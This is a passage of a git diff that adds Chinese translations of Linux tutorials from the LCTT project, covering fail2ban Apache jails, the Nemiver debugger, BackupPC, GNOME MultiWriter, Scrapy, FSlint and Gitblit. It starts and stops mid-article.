http,https + filter = apache-auth + logpath = /var/log/httpd/*error_log + maxretry = 6 + + # 检测抓取邮件地址的爬虫 + [apache-badbots] + enabled = true + port = http,https + filter = apache-badbots + logpath = /var/log/httpd/*access_log + bantime = 172800 + maxretry = 1 + + # 检测漏洞和 PHP 脆弱性扫描 + [apache-noscript] + enabled = true + port = http,https + filter = apache-noscript + logpath = /var/log/httpd/*error_log + maxretry = 6 + + # 检测 Apache 溢出攻击 + [apache-overflows] + enabled = true + port = http,https + filter = apache-overflows + logpath = /var/log/httpd/*error_log + maxretry = 2 + + # 检测在服务器寻找主目录的尝试 + [apache-nohome] + enabled = true + port = http,https + filter = apache-nohome + logpath = /var/log/httpd/*error_log + maxretry = 2 + + # 检测执行不存在的脚本的企图 + # 这些都是流行的网站服务程序 + # 如:webmail, phpMyAdmin,WordPress + port = http,https + filter = apache-botsearch + logpath = /var/log/httpd/*error_log + maxretry = 2 + +注意这些监狱文件默认的操作是iptables-multiport(定义在/etc/fail2ban/jail.conf中[DEFAULT]字段下的“banaction”中)。这个措施使用iptable的多端口模块禁止一个IP地址。 + +启用监狱后,你必须重启fail2ban来加载监狱。 + +在 Fedora 或者 CentOS/RHEL 7中: + + $ sudo systemctl restart fail2ban + +在 CentOS/RHEL 6中: + + $ sudo service fail2ban restart + +### 检查和管理fail2ban禁止状态 ### + +监狱一旦激活后,你可以用fail2ban的客户端命令行工具来监测当前的禁止状态。 + +查看激活的监狱列表: + + $ sudo fail2ban-client status + +查看特定监狱的状态(包含禁止的IP列表): + + $ sudo fail2ban-client status [监狱名] + +![](https://farm8.staticflickr.com/7572/15891521967_5c6cbc5f8f_c.jpg) + +你也可以手动禁止或者解禁IP地址: + +要用制定监狱禁止IP: + + $ sudo fail2ban-client set [name-of-jail] banip [ip-address] + +要解禁指定监狱屏蔽的IP: + + $ sudo fail2ban-client set [name-of-jail] unbanip [ip-address] + +### 总结 ### + +本篇教程解释了fail2ban监狱如何工作以及如何使用内置的监狱来保护Apache服务器。依赖于你的环境以及要保护的web服务器类型,你或许要调整已有的监狱或者编写自定义监狱和日志过滤器。查看outfail2ban的[官方Github页面][3]来获取最新的监狱和过滤器示例。 + +你有在生产环境中使用fail2ban么?分享一下你的经验吧。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/configure-fail2ban-apache-http-server.html + +作者:[Dan Nanni][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://linux.cn/article-5067-1.html +[2]:http://linux.cn/article-5067-1.html +[3]:https://github.com/fail2ban/fail2ban \ No newline at end of file diff --git a/published/201503/20150104 How to debug a C or C++ program with Nemiver debugger.md b/published/201503/20150104 How to debug a C or C++ program with Nemiver debugger.md new file mode 100644 index 0000000000..99eee59987 --- /dev/null +++ b/published/201503/20150104 How to debug a C or C++ program with Nemiver debugger.md @@ -0,0 +1,110 @@ +使用Nemiver调试器来调试 C/C++ 程序 +================================================================================ + +如果你读过我写的[使用GDB命令行调试器调试C/C++程序][1],你就会明白一个调试器对一段C/C++程序来说有多么的重要和有用。然而,如果一个像GDB这样的命令行对你而言听起来更像一个问题而不是一个解决方案的话,那么你也许会对Nemiver更感兴趣。[Nemiver][2] 是一款基于 GTK+ 的用于C/C++程序的图形化的独立调试器,它以GDB作为其后端。最令人赞赏的是其速度和稳定性,Nemiver是一个非常可靠,具备许多优点的调试工具。 + +### Nemiver的安装 ### + +基于Debian发行版,它的安装时非常直接简单,如下: + + $ sudo apt-get install nemiver + +在Arch Linux中安装如下: + + $ sudo pacman -S nemiver + +在Fedora中安装如下: + + $ sudo yum install nemiver + +如果你选择自己编译,[GNOME 网站][3]上有最新源码包。 + +最令人欣慰的是,它能够很好地与GNOME环境像结合。 + +### Nemiver的基本用法 ### + +启动Nemiver的命令: + + $ nemiver + +你也可以通过执行一下命令来启动: + + $ nemiver [需要调试的可执行程序的路径] + +注意,如果在调试模式下编译程序(在 GCC 中使用 -g 选项)将会对 nemiver 更有帮助。 + +还有一个优点是Nemiver的加载很快,所以你马上就可以看到主屏幕的默认布局。 + +![](https://farm9.staticflickr.com/8679/15535277554_d320f6692c_c.jpg) + +默认情况下,断点通常位于主函数的第一行。这样就可以空出时间让你去认识调试器的基本功能: + +![](https://farm9.staticflickr.com/8669/16131832596_bc68ae18a8_o.jpg) + +- 执行到下一行 (按键是F6) +- 执行到函数内部即停止(F7) +- 执行到函数外部即停止(Shift+F7) + +不过我个人喜欢“Run to cursor(运行至光标所在行)”,该选项使你的程序准确的运行至你光标所在行,它的默认按键是F11。 + +断点是很容易使用的。最快捷的方式是在一行代码上按下F8来设置一个断点。但是Nemiver在“Debug”菜单下也有一个更复杂的菜单,它允许你在一个特定的函数,某一行,二进制文件中的位置,或者类似异常、分支或者exec的事件上设置断点。 + +![](https://farm8.staticflickr.com/7579/16157622315_d680a63896_z.jpg) + +你也可以通过追踪来查看一个变量。在“Debug”中,你可以用一个表达式的名字来检查它的值,然后也可以通过将其添加到列表中以方便访问。这可能是最有用的一个功能,虽然我从未有兴趣将鼠标悬停在一个变量来获取它的值。值得注意的是,虽然鼠标悬停可以取到值,如果想要让它更好地工作,Nemiver是可以看到结构并给出所有成员的变量的赋值。 + +![](https://farm8.staticflickr.com/7465/15970310470_7ed020c613.jpg) + +谈到方便地访问信息,我也非常欣赏这个程序的布局。默认情况下,代码在上半部分,功能区标签在下半部分。这可以让你访问终端的输出、上下文追踪器、断点列表、注册器地址、内存映射和变量控制。但是请注意在“Edit”-“Preferences”-“Layout”下你可以选择不同的布局,包括一个可以修改的动态布局。 + +![](https://farm9.staticflickr.com/8606/15971551549_00e4cdd32e_c.jpg) + +![](https://farm8.staticflickr.com/7525/15535277594_026fef17c1_z.jpg) + +自然,当你设置了全部断点,观察点和布局,您可以在“File”菜单下很方便地保存该会话,以便你下次打开时恢复。 + +### Nemiver的高级用法 ### + +到目前为止,我们讨论的都是Nemiver的基本特征,例如,你马上开始调试一个简单的程序需要了解什么。如果你有更高的需求,特别是对于一些更加复杂的程序,你应该会对接下来提到的这些特征更感兴趣。 + +#### 调试一个正在运行的进程 #### + +Nemiver允许你驳接到一个正在运行的进程进行调试。在“File”菜单,你可以筛选出正在运行的进程,并驳接到某个进程。 + +![](https://farm9.staticflickr.com/8593/16155720571_00e4cdd32e_z.jpg) + +#### 通过TCP连接远程调试一个程序 #### + +Nemiver支持远程调试,你可以在一台远程机器上设置一个轻量级调试服务器,然后你在另外一台机器上启动 nemiver 去调试运行在调试服务器上的程序。如果出于某些原因,你不能在远程机器上很好地驾驭 Nemiver或者GDB,那么远程调试对于你来说将非常有用。在“File”菜单下,指定二进制文件、共享库位置、远程地址和端口。 + +![](https://farm8.staticflickr.com/7469/16131832746_c47dee4ef1.jpg) + +#### 使用你的GDB二进制程序进行调试 #### + +如果你的Nemiver是自行编译的,你可以在“Edit(编辑)”-“Preferences(首选项)”-“Debug(调试)”下给GDB指定一个新的位置。如果你想在Nemiver下使用定制版本的GDB,那么这个选项对你来说是非常实用的。 + +#### 跟随一个子进程或者父进程 #### + +当你的程序分支时,Nemiver是可以设置为跟随子进程或者父进程的。想激活这个功能,请到“Debugger”下面的“Preferences(首选项)”。 + +![](https://farm8.staticflickr.com/7512/16131832716_5724ff434c_z.jpg) + +总而言之,Nemiver大概是我最喜欢的不在IDE里面的调试程序。在我看来,它甚至可以击败GDB,它和命令行程序一样深深吸引了我。所以,如果你从未使用过的话,我会强烈推荐你使用。我十分感谢它背后的开发团队给了我这么一个可靠、稳定的程序。 + +你对Nemiver有什么见解?你是否也考虑它作为独立的调试工具?或者仍然坚持使用IDE?让我们在评论中探讨吧。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/debug-program-nemiver-debugger.html + +作者:[Adrien Brochard][a] +译者:[disylee](https://github.com/disylee) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:http://linux.cn/article-4302-1.html +[2]:https://wiki.gnome.org/Apps/Nemiver +[3]:https://download.gnome.org/sources/nemiver/0.9/ +[4]:http://xmodulo.com/recommend/linuxclibook diff --git a/published/201503/20150104 How to set up a cross-platform backup server on Linux with BackupPC.md b/published/201503/20150104 How to set up a cross-platform backup server on Linux with BackupPC.md new file mode 100644 index 0000000000..24daaf3424 --- /dev/null +++ b/published/201503/20150104 How to set up a cross-platform backup server on Linux with BackupPC.md @@ -0,0 +1,134 @@ +如何在 Linux 上使用 BackupPC 来架设跨平台的备份服务器 +================================================================================ +也许你没有从我先前关于 [backupninja][1] 和 [backup-manager][2] 的两篇文章中发现,我是一个超级备“粉”。当提到备份,我宁愿备份的太多而不希望备份不足,因为如果我们有需要的话,你将会感激你为重要数据生成额外的拷贝所付出的时间和精力。 + +在这篇文章中,我将向你介绍 [BackupPC][3],一个跨平台的备份服务器软件,它可以通过网络为 Linux,Windows 和 MacOS 等系统上的客户端主机拉取备份。BackupPC 添加了一系列的特点使得管理备份变为一件快乐的事。 + +### BackupPC 的特点 ### + +BackupPC 自带有一个健壮的 Web 界面,允许你以集中化的方式来收集和管理其他远程客户端主机上的备份。通过使用它的 Web 界面,你可以检查日志和配置文件、为其他远程主机启动/取消/安排备份任务以及可视化备份任务的当前状态。你也可以非常容易地浏览归档的文件以及从备份的归档中恢复单个文件或整个备份。要恢复单个文件,你可以直接通过 Web 界面来下载任何先前备份的文件。不仅如此,客户端主机并不需要安装特别的客户端软件。在 Windows 客户端上, 使用的是原生的 SMB 协议,而对于 *nix 客户端,你将使用 `rsync` 或 通过 SSH, RSH 或 NFS 来使用 `tar` 。 + +### 安装 BackupPC ### + +在 Debian,Ubuntu 和它们的衍生版本上,运行下面的命令: + + # aptitude install backuppc + +在 Fedora上, 使用 `yum` 命令。请注意软件包名字对大小写敏感。 + +在 CentOS/RHEL 6 上,首先要启用 [EPEL 软件仓库][4]。在 CentOS/RHEL 7 上,请替代启用 [Nux Dextop][5] 软件仓库。然后接着使用 `yum` 命令: + + # yum install BackupPC + +同往常一样,这两种包管理系统都会自动解决依赖问题。另外,作为安装过程中的一部分,你可能需要新配置或修改配置用于图形用户界面的 Web 服务器。下面的截图来自于 Debian 系统: + +![](https://farm8.staticflickr.com/7573/16163781711_6218b620ef_c.jpg) + +通过空格键来确定你的选择,然后使用 tab 键移动到 Ok 选项并敲回车键。 + +接着类似于下面的截屏将会呈现在你眼前,通知你创建了一个用来管理 BackupPC 的名为 ‘backuppc’的管理员用户以及相应的密码(如果你需要,这个密码以后可以更改)。这里需要注意的是:这里创建了同样名为 ‘backuppc’的 HTTP 账户和常规的 Linux 账户,它们使用相同的密码。需要前者的目的是来访问受保护的 BackupPC 的 Web 界面,而后者则是为了通过 SSH 来使用 `rsync` 来执行备份任务。 + +![](https://farm8.staticflickr.com/7579/15979622809_25e734658d_c.jpg) + +你可以使用下面的命令来更改 HTTP 账户 ‘backuppc’ 的默认密码: + + # htpasswd /path/to/hash/file backuppc + +至于常规的 ‘backuppc’ [Linux][6]账户,可以使用 `passwd`命令来更改它的默认密码: + + # passwd backuppc + +需要提及的是:安装过程中会自动创建 Web 和程序的配置文件。 + +### 启动 BackupPC 并设置备份 ### + +首先,打开一个浏览器窗口并指向 http://\<服务器名称或 IP 地址>/backuppc/ 。当弹出提示框时,输入先前向你创建的默认 HTTP 用户凭据(注:即用户名 backuppc 和相应的默认密码)。假如认证成功,你就会被带入到 Web 界面的主页: + +![](https://farm9.staticflickr.com/8601/15543330314_f6fdaa235e_z.jpg) + +你想做的第一件事最有可能是通过新增一个客户端主机来备份。进入任务窗格中的 “编辑主机”选项。我们将添加两个客户端主机: + +- Host #1: CentOS 7 [IP 192.168.0.17] +- Host #2: Windows 7 [IP 192.168.0.103] + +我们将通过 SSH 使用 `rsync`来备份 CentOS 主机,使用 SMB 来备份 Windows 主机。在执行备份之前,我们需要向我们的 CentOS 主机设置 [基于密钥认证][7] 以及在我们的 Windows 主机中设置一个共享目录。 + +下面是关于如何为一个远程 CentOS 主机设置基于密钥认证的指导。我们创建 ‘backuppc’ 用户的 RSA 密钥对,并将其公钥传输给 CentOS 主机上的 root 账户。 + + # usermod -s /bin/bash backuppc + # su - backuppc + # ssh-keygen -t rsa + # ssh-copy-id root@192.168.0.17 + +当弹出提示框时,键入 yes 并为 192.168.0.17 键入 root 用户的密码: + +![](https://farm8.staticflickr.com/7496/16164929932_8fc817125d_b.jpg) + +你需要一个远程的 CentOS 主机的 root 权限,以获得在该主机中的文件系统中写权限,以防要恢复的备份文件或目录的所有者为 root 账户。 + +一旦 CentOS 和 Windows 主机都准备完毕,使用 Web 界面将它们添加到 BackupPC: + +![](https://farm9.staticflickr.com/8586/15979622709_76c2dcf68c_z.jpg) + +下一步更改每个主机的备份设置: + +![](https://farm8.staticflickr.com/7461/16163781611_765c147f9f_z.jpg) + +接下来的图片展示了 Windows 主机的备份设置: + +![](https://farm8.staticflickr.com/7480/16139884676_bddfafed75_z.jpg) + +而接着的截图展示了 CentOS 主机的备份设置: + +![](https://farm8.staticflickr.com/7557/16139884666_34ff8fd858_z.jpg) + +### 开始一个备份任务 ### + +为了开始备份,到每个主机的设定选项,然后点击“开始全备份”: + +![](https://farm8.staticflickr.com/7536/15978247428_458c023f4c.jpg) + +在任何时候,你都可以通过点击如上图展示的每个主机的备份主页来查看备份任务的状态。假如因为某些原因备份失败,在主机菜单中将会出现一个指向包含错误信息的网页的链接。当一个备份任务成功完成后,在服务器的 /var/lib/backuppc/pc 目录下会创建一个命名为主机名或 IP 地址的目录。 + +![](https://farm8.staticflickr.com/7549/16165680115_196ee42a49_z.jpg) + +我们也可以随意地在命令行中浏览这个目录中的文件,但存在一个更加简单的方式来查找和恢复这些文件。 + +### 恢复备份 ### + +要浏览这些保存的文件,进入每个主机的主菜单下的 “浏览备份”选项,你可以一目了然地看到目录和文件,并选择那些你想恢复的文件。另外,你还可以通过点击文件来使用默认程序打开文件或右击文件并选择“另存为”来下载该文件到你当前的机器上: + +![](https://farm8.staticflickr.com/7506/16165680105_bd5883e0da_c.jpg) + +如若你想,你可以下载一个包含所有你想备份的内容的 zip 或 tar 文件: + +![](https://farm8.staticflickr.com/7507/15978247398_18e81667cd_z.jpg) + +或只是恢复文件: + +![](https://farm8.staticflickr.com/7545/15545911003_2aca8a36fc_z.jpg) + +### 总结 ### + +有句俗话说,"越简单,越好",而这正是 BackupPC 所提供的东西。在 BackupPC 中,你将不仅找到了一个备份工具,而且还找到了一个无需任何客户端应用来在几个不同的操作系统中管理你的备份的方法。我相信这就有足够的理由让你去尝试一下。 + +欢迎使用下面的评论框来留下你的评论和问题,假如你有的话。我总是乐于听取读者想说的话! + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/backuppc-cross-platform-backup-server-linux.html + +作者:[Gabriel Cánepa][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:http://linux.cn/article-5096-1.html +[2]:http://linux.cn/article-4586-1.html +[3]:http://backuppc.sourceforge.net/ +[4]:http://linux.cn/article-2324-1.html +[5]:http://linux.cn/article-3889-1.html +[6]:http://xmodulo.com/recommend/linuxguide +[7]:http://xmodulo.com/how-to-enable-ssh-login-without.html diff --git a/published/201503/20150106 This App Can Write a Single ISO to 20 USB Drives Simultaneously.md b/published/201503/20150106 This App Can Write a Single ISO to 20 USB Drives Simultaneously.md new file mode 100644 index 0000000000..b9768d7148 --- /dev/null +++ b/published/201503/20150106 This App Can Write a Single ISO to 20 USB Drives Simultaneously.md @@ -0,0 +1,58 @@ +MultiWriter:同时将 ISO 镜像并发写入 20 个 USB 启动盘 +================================================================================ +**我的问题是如何把一个Linux ISO 文件烧录到 17 个 USB 启动盘?** + +精通代码的人会写一个 bash 脚本来自动化处理,而大部分的人会使用像 USB 启动盘创建器这样的图形用户界面工具来把 ISO 文件一个、一个的烧录到驱动盘中。但剩下的还有一些人也许会很快得出结论,两种方法都不太理想。 + +### 问题 > 解决 ### + +![GNOME MultiWriter in action](http://www.omgubuntu.co.uk/wp-content/uploads/2015/01/gnome-multi-writer.jpg) + +*GNOME MultiWriter 在运行当中* + +Richard Hughes,一个 GNOME 开发者,也面临着类似的困境。他要创建一批预装操作系统的 USB 启动盘,需要一个足够简单的工具,使得像他父亲这样的用户也能使用。 + +他的反应是开发**品牌性的新应用程序**,使上面的两种方法合二为一,创造出易用的一款工具。 + +它的名字就叫 “[GNOME MultiWriter][1]”,可以同时把单个的 ISO 或 IMG 文件写入多个 USB 驱动盘。 + +它不支持个性化自定义或命令行执行的功能,使用它就可以省掉浪费一下午的时间来对相同的操作的重复动作。 + +您需要的就是这一款应用程序、一个 ISO 镜像文件、一些拇指驱动盘以用许多空 USB 接口。 + +### 用例和安装 ### + +![The app can be installed on Ubuntu](http://www.omgubuntu.co.uk/wp-content/uploads/2015/01/mutli-writer-on-ubuntu.jpg) + +*该应用程序可以在 Ubuntu 上安装* + +这款应用程序的定义使用场景很不错,正适合使用于预装正要发布的操作系统或 live 映像的 USB 启动盘上。 + +那就是说,任何人想要创建一个单独可启动的 USB 启动盘的话,也是一样的适用 - 因我用 Ubuntu 的内置磁盘创建工具来创建可引导的映像从来没有一次成功过的,所以这方案对我来说是个好消息! + +它的开发者 Hughes 说它**最高能支持20个 USB 启动盘**,每个盘的大小在 1GB 到 32GB之间。 + +GNOME MultiWriter 也有不好的地方(到现在为止)就是它还没有一个完结、稳定的成品。它是能工作,但在早期的时候,还没有可安装的二进制版本或可添加到你庞大软件源的 PPA。 + +如果您知道通常的 configure/make 的操作流程的话,可以获取其源码并随时都可以编译运行。在 Ubuntu14.10 系统上,你可能还需要首先安装以下软件包: + + sudo apt-get install gnome-common yelp-tools libcanberra-gtk3-dev libudisks2-dev gobject-introspection + +如果您可以运行起来,已经玩转的话,给我们分享下您的感受! + +此项目托管在 GitHub 上,盼望对其提出问题缺陷和发起 pull 请求,在上面也可以找到压缩包下载,进行手动安装。 + +- [Github 上的 GNOME MultiWriter][1] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/01/gnome-multiwriter-iso-usb-utility + +作者:[Joey-Elijah Sneddon][a] +译者:[runningwater](https://github.com/runningwater) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://github.com/hughsie/gnome-multi-writer/ diff --git a/published/201503/20150108 How to Install Scrapy a Web Crawling Tool in Ubuntu 14.04 LTS.md b/published/201503/20150108 How to Install Scrapy a Web Crawling Tool in Ubuntu 14.04 LTS.md new file mode 100644 index 0000000000..6ab4241c76 --- /dev/null +++ b/published/201503/20150108 How to Install Scrapy a Web Crawling Tool in Ubuntu 14.04 LTS.md @@ -0,0 +1,129 @@ +如何在Ubuntu 14.04 LTS安装网络爬虫工具:Scrapy +================================================================================ +这是一款提取网站数据的开源工具。Scrapy框架用Python开发而成,它使抓取工作又快又简单,且可扩展。我们已经在virtual box中创建一台虚拟机(VM)并且在上面安装了Ubuntu 14.04 LTS。 + +### 安装 Scrapy ### + +Scrapy依赖于Python、开发库和pip。Python最新的版本已经在Ubuntu上预装了。因此我们在安装Scrapy之前只需安装pip和python开发库就可以了。 + +pip是作为python包索引器easy_install的替代品,用于安装和管理Python包。pip包的安装可见图 1。 + + sudo apt-get install python-pip + +![Fig:1 Pip installation](http://blog.linoxide.com/wp-content/uploads/2014/11/f1.png) + +*图:1 pip安装* + +我们必须要用下面的命令安装python开发库。如果包没有安装那么就会在安装scrapy框架的时候报关于python.h头文件的错误。 + + sudo apt-get install python-dev + +![Fig:2 Python Developer Libraries](http://blog.linoxide.com/wp-content/uploads/2014/11/f2.png) + +*图:2 Python 开发库* + +scrapy框架既可从deb包安装也可以从源码安装。在图3中我们用pip(Python 包管理器)安装了deb包了。 + + sudo pip install scrapy + +![Fig:3 Scrapy Installation](http://blog.linoxide.com/wp-content/uploads/2014/11/f3.png) + +*图:3 Scrapy 安装* + +图4中scrapy的成功安装需要一些时间。 + +![Fig:4 Successful installation of Scrapy Framework](http://blog.linoxide.com/wp-content/uploads/2014/11/f4.png) + +*图:4 成功安装Scrapy框架* + +### 使用scrapy框架提取数据 ### + +####基础教程#### + +我们将用scrapy从fatwallet.com上提取商店名称(卖卡的店)。首先,我们使用下面的命令新建一个scrapy项目“store name”, 见图5。 + + $sudo scrapy startproject store_name + +![Fig:5 Creation of new project in Scrapy Framework](http://blog.linoxide.com/wp-content/uploads/2014/11/f5.png) + +*图:5 Scrapy框架新建项目* + +上面的命令在当前路径创建了一个“store_name”的目录。项目主目录下包含的文件/文件夹见图6。 + + $sudo ls –lR store_name + +![Fig:6 Contents of store_name project.](http://blog.linoxide.com/wp-content/uploads/2014/11/f6.png) + +*图:6 store_name项目的内容* + +每个文件/文件夹的概要如下: + +- scrapy.cfg 是项目配置文件 +- store_name/ 主目录下的另一个文件夹。 这个目录包含了项目的python代码 +- store_name/items.py 包含了将由蜘蛛爬取的项目 +- store_name/pipelines.py 是管道文件 +- store_name/settings.py 是项目的配置文件 +- store_name/spiders/, 包含了用于爬取的蜘蛛 + +由于我们要从fatwallet.com上如提取店名,因此我们如下修改文件(LCTT 译注:这里没说明是哪个文件,译者认为应该是 items.py)。 + + import scrapy + + class StoreNameItem(scrapy.Item): + + name = scrapy.Field() # 取出卡片商店的名称 + +之后我们要在项目的store_name/spiders/文件夹下写一个新的蜘蛛。蜘蛛是一个python类,它包含了下面几个必须的属性: + +1. 蜘蛛名 (name ) +2. 爬取起点url (start_urls) +3. 包含了从响应中提取需要内容相应的正则表达式的解析方法。解析方法对爬虫而言很重要。 + +我们在store_name/spiders/目录下创建了“store_name.py”爬虫,并添加如下的代码来从fatwallet.com上提取店名。爬虫的输出写到文件(**StoreName.txt**)中,见图7。 + + from scrapy.selector import Selector + from scrapy.spider import BaseSpider + from scrapy.http import Request + from scrapy.http import FormRequest + import re + class StoreNameItem(BaseSpider): + name = "storename" + allowed_domains = ["fatwallet.com"] + start_urls = ["http://fatwallet.com/cash-back-shopping/"] + + def parse(self,response): + output = open('StoreName.txt','w') + resp = Selector(response) + + tags = resp.xpath('//tr[@class="storeListRow"]|\ + //tr[@class="storeListRow even"]|\ + //tr[@class="storeListRow even last"]|\ + //tr[@class="storeListRow last"]').extract() + for i in tags: + i = i.encode('utf-8', 'ignore').strip() + store_name = '' + if re.search(r"class=\"storeListStoreName\">.*?<",i,re.I|re.S): + store_name = re.search(r"class=\"storeListStoreName\">.*?<",i,re.I|re.S).group() + store_name = re.search(r">.*?<",store_name,re.I|re.S).group() + store_name = re.sub(r'>',"",re.sub(r'<',"",store_name,re.I)) + store_name = re.sub(r'&',"&",re.sub(r'&',"&",store_name,re.I)) + #print store_name + output.write(store_name+""+"\n") + +![Fig:7 Output of the Spider code .](http://blog.linoxide.com/wp-content/uploads/2014/11/f7.png) + +*图:7 爬虫的输出* + +*注意: 本教程的目的仅用于理解scrapy框架* + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/scrapy-install-ubuntu/ + +作者:[nido][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/naveeda/ \ No newline at end of file diff --git a/published/201503/20150112 How to Find and Remove Duplicate Files on Linux.md b/published/201503/20150112 How to Find and Remove Duplicate Files on Linux.md new file mode 100644 index 0000000000..d646627e84 --- /dev/null +++ b/published/201503/20150112 How to Find and Remove Duplicate Files on Linux.md @@ -0,0 +1,93 @@ +如何在Linux上找出并删除重复的文件 +================================================================================ +大家好,今天我们会学习如何在Linux PC或者服务器上找出和删除重复文件。这里有一款工具你可以工具自己的需要使用。 + +无论你是否正在使用Linux桌面或者服务器,有一些很好的工具能够帮你扫描系统中的重复文件并删除它们来释放空间。图形界面和命令行界面的都有。重复文件是磁盘空间不必要的浪费。毕竟,如果你的确需要在不同的位置享有同一个文件,你可以使用软链接或者硬链接,这样就可以在磁盘的一个地方存储数据了。 + +### FSlint ### + +[FSlint][1] 在不同的Linux发行版二进制仓库中都有,包括Ubuntu、Debian、Fedora和Red Hat。只需你运行你的包管理器并安装“fslint”包就行。这个工具默认提供了一个简单的图形化界面,同样也有包含各种功能的命令行版本。 + +不要担心FSlint的图形化界面太复杂。默认情况下,它会自动选中Duplicate窗格,并以你的家目录作为搜索路径。 + +要安装fslint,若像我这样运行的是Ubuntu,这里是默认的命令: + + $ sudo apt-get install fslint + +这里还有针对其他发行版的安装命令: + +Debian: + + svn checkout http://fslint.googlecode.com/svn/trunk/ fslint-2.45 + cd fslint-2.45 + dpkg-buildpackage -I.svn -rfakeroot -tc + sudo dpkg -i ../fslint_2.45-1_all.deb + +Fedora: + + sudo yum install fslint + +OpenSuse: + + [ -f /etc/mandrake-release ] && pkg=rpm + [ -f /etc/SuSE-release ] && pkg=packages + wget http://www.pixelbeat.org/fslint/fslint-2.42.tar.gz + sudo rpmbuild -ta fslint-2.42.tar.gz + sudo rpm -Uvh /usr/src/$pkg/RPMS/noarch/fslint-2.42-1.*.noarch.rpm + +对于其他发行版: + + wget http://www.pixelbeat.org/fslint/fslint-2.44.tar.gz + tar -xzf fslint-2.44.tar.gz + cd fslint-2.44 + (cd po && make) + ./fslint-gui + +要在Ubuntu中运行fslint的GUI版本fslint-gui, 使用Alt+F2运行命令或者在终端输入: + + $ fslint-gui + +默认情况下,它会自动选中Duplicate窗格,并以你的家目录作为搜索路径。你要做的就是点击Find按钮,FSlint会自动在你的家目录下找出重复文件列表。 + +![Delete Duplicate files with Fslint](http://blog.linoxide.com/wp-content/uploads/2015/01/delete-duplicates-fslint.png) + +点击按钮来删除任何你要删除的文件,并且可以双击预览。 + +完成这一切后,我们就成功地删除你系统中的重复文件了。 + +**注意** ,命令行工具默认不在环境的路径中,你不能像典型的命令那样运行它。在Ubuntu中,你可以在/usr/share/fslint/fslint下找到它。因此,如果你要在一个单独的目录运行fslint完整扫描,下面是Ubuntu中的运行命令: + + cd /usr/share/fslint/fslint + + ./fslint /path/to/directory + +**这个命令实际上并不会删除任何文件。它只会打印出重复文件的列表-你需要自己做接下来的事。** + + $ /usr/share/fslint/fslint/findup --help + find dUPlicate files. + Usage: findup [[[-t [-m|-d]] | [--summary]] [-r] [-f] paths(s) ...] + + If no path(s) specified then the current directory is assumed. + + When -m is specified any found duplicates will be merged (using hardlinks). + When -d is specified any found duplicates will be deleted (leaving just 1). + When -t is specfied, only report what -m or -d would do. + When --summary is specified change output format to include file sizes. + You can also pipe this summary format to /usr/share/fslint/fslint/fstool/dupwaste + to get a total of the wastage due to duplicates. + +![fslint help](http://blog.linoxide.com/wp-content/uploads/2015/01/fslint-help.png) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/file-system/find-remove-duplicate-files-linux/ + +作者:[Arun Pyasi][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:http://www.pixelbeat.org/fslint/ +[2]:http://www.pixelbeat.org/fslint/fslint-2.42.tar.gz \ No newline at end of file diff --git a/published/201503/20150114 Install Gitblit On Ubuntu or Fedora or CentOS.md b/published/201503/20150114 Install Gitblit On Ubuntu or Fedora or CentOS.md new file mode 100644 index 0000000000..e2dd91ef0b --- /dev/null +++ b/published/201503/20150114 Install Gitblit On Ubuntu or Fedora or CentOS.md @@ -0,0 +1,149 @@ +在Ubuntu/Fedora/CentOS中安装Gitblit +================================================================================ +**Git**是一款注重速度、数据完整性、分布式支持和非线性工作流的分布式版本控制工具。Git最初由Linus Torvalds在2005年为Linux内核开发而设计,如今已经成为被广泛接受的版本控制系统。 + +和其他大多数分布式版本控制系统比起来,不像大多数客户端-服务端的系统,每个Git工作目录是一个完整的仓库,带有完整的历史记录和完整的版本跟踪能力,不需要依赖网络或者中心服务器。像Linux内核一样,Git也是在GPLv2许可证下分发的自由软件。 + +本篇教程我会演示如何安装 gitlit 服务器。gitlit的最新稳定版是1.6.2。[Gitblit][1]是一款开源、纯Java开发的用于管理、浏览和提供[Git][2]仓库服务的软件。它被设计成一款为希望托管中心仓库的小型工作组服务的工具。 + + mkdir -p /opt/gitblit; cd /opt/gitblit; wget http://dl.bintray.com/gitblit/releases/gitblit-1.6.2.tar.gz + +### 列出解压后目录内容: ### + + root@vps124229 [/opt/gitblit]# ls + ./ docs/ gitblit-stop.sh* LICENSE service-ubuntu.sh* + ../ ext/ install-service-centos.sh* migrate-tickets.sh* + add-indexed-branch.sh* gitblit-1.6.2.tar.gz install-service-fedora.sh* NOTICE + authority.sh* gitblit.jar install-service-ubuntu.sh* reindex-tickets.sh* + data/ gitblit.sh* java-proxy-config.sh* service-centos.sh* + +默认配置文件在data/gitblit.properties,你可以根据需要自己修改。 + +### 启动gitlit服务: ### + +**通过service命令:** + + root@vps124229 [/opt/gitblit]# cp service-centos.sh /etc/init.d/gitblit + root@vps124229 [/opt/gitblit]# chkconfig --add gitblit + root@vps124229 [/opt/gitblit]# service gitblit start + Starting gitblit server + . + 